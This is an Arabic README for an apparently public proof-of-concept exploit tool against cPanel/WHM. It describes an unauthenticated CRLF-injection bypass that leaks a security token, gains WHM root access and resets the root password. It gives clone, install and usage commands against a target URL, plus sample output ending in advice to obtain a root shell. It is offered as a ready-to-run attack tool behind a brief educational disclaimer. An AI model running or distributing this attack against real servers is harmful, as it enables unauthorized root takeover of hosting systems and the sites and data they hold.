CVE-2026-41940 استغلال تلقائي

نظرة عامة

CVE-2026-41940 هو استغلال إثبات مفهوم (PoC) يستهدف cPanel/WHM.
يوضح هذا الاستغلال تجاوزًا للمصادقة دون مصادقة باستخدام حقن CRLF لتسريب رموز الأمان والحصول على وصول بمستوى الجذر إلى واجهة WHM، مما يسمح بإجراءات مثل تغيير كلمة مرور الجذر.

إخلاء مسؤولية: هذا الاستغلال لأغراض تعليمية فقط. لا تستخدمه على أنظمة دون إذن.

الميزات

• اكتشاف اسم المضيف تلقائيًا: يحدد تلقائيًا اسم المضيف الأساسي لتجاوز قيود رأس Host.
• إنشاء جلسة قبل المصادقة: يولّد جلسة أولية صالحة للحقن.
• حقن CRLF: يستغل الحقن في الرؤوس لتسريب cp_security_token.
• نشر الجلسة: يفرض الرمز المسرّب في ذاكرة التخزين المؤقت للمصادقة على الخادم.
• إعادة تعيين كلمة مرور الجذر: يغيّر تلقائيًا كلمة مرور جذر WHM عند نجاح التجاوز.
• تبعيات بسيطة: يعمل مع مكتبة requests القياسية.

التثبيت

1. استنسخ المستودع:

git clone https://github.com/Rosemary1337/CVE-2026-41940.git
cd CVE-2026-41940

2. ثبّت التبعيات:

pip install requests

المتطلبات: requests, urllib3

الاستخدام

python3 CVE_2026_41940.py --target <TARGET_URL> --password <NEW_PASSWORD>

مثال:

python3 CVE_2026_41940.py --target https://target.com:2087 --password MyNewRootPass123!

الوسائط

المخرجات

تعرض وحدة التحكم:

• رسائل الحالة [0-4]
• النجاح [+]
• الفشل [!]
• المعلومات [*]

مثال:

[0] hostname = target.local
[1] minting a preauth session...
    session base = :XLNfFj4XjKuS4f9V
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
    HTTP 307, leaked token = /cpsess0555762073
[3] firing do_token_denied to propagate raw -> cache...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.110.0.12"}
[*] changing the root password
    passwd -> HTTP 200
[+] now just login to https://target.com:2087 and use the terminal option to get a root shell

الأمان وإخلاء المسؤولية

• لأغراض تعليمية واختبارية فقط.
• لا تهاجم المواقع دون إذن صريح.
• استخدمه في بيئة مختبرية خاضعة للتحكم أو في اختبار اختراق مصرح به فقط.